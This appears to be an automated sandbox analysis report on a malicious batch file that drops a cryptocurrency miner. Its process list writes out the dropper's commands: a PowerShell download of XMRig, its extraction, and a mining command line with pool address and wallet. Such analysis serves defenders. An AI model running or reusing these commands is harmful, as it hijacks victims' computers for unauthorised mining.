Analysis

  • max time kernel
    94s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 02:54

General

  • Target

    13.bat

  • Size

    599B

  • MD5

    798b979417aa88e5323ead9be2d8425c

  • SHA1

    a54c5133c71afddf697f302b36bdb930c72852ce

  • SHA256

    f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07

  • SHA512

    a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\13.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5056
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4320

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6c4805e00673bef922d51b1a7137028f

    SHA1

    0eabb38482d1733dd85a2af9c5342c2cafcd41eb

    SHA256

    7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

    SHA512

    eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4uhqcwgk.wgm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip

    Filesize

    2.5MB

    MD5

    cef0ae1ab544e40b659261a4e07fe48f

    SHA1

    e5ff855ce3c7726a50eb50a634ff9f406b3df093

    SHA256

    713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

    SHA512

    1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    6.1MB

    MD5

    c0f8959614ae06561216158d78a787e5

    SHA1

    73167d1fd0cee1c96a6505606d21cbfe4369eb00

    SHA256

    e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

    SHA512

    a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

  • memory/2224-10-0x0000020EC3610000-0x0000020EC3632000-memory.dmp

    Filesize

    136KB

  • memory/2224-11-0x00007FFE7DFB0000-0x00007FFE7EA71000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-12-0x00007FFE7DFB0000-0x00007FFE7EA71000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-16-0x00007FFE7DFB0000-0x00007FFE7EA71000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-0-0x00007FFE7DFB3000-0x00007FFE7DFB5000-memory.dmp

    Filesize

    8KB

  • memory/4320-60-0x00000239DA390000-0x00000239DA3B0000-memory.dmp

    Filesize

    128KB

  • memory/5056-29-0x00007FFE7DFC0000-0x00007FFE7EA81000-memory.dmp

    Filesize

    10.8MB

  • memory/5056-32-0x000002505A520000-0x000002505A532000-memory.dmp

    Filesize

    72KB

  • memory/5056-31-0x00007FFE7DFC0000-0x00007FFE7EA81000-memory.dmp

    Filesize

    10.8MB

  • memory/5056-33-0x000002505A380000-0x000002505A38A000-memory.dmp

    Filesize

    40KB

  • memory/5056-56-0x00007FFE7DFC0000-0x00007FFE7EA81000-memory.dmp

    Filesize

    10.8MB

  • memory/5056-30-0x00007FFE7DFC0000-0x00007FFE7EA81000-memory.dmp

    Filesize

    10.8MB

  • memory/5056-18-0x00007FFE7DFC3000-0x00007FFE7DFC5000-memory.dmp

    Filesize

    8KB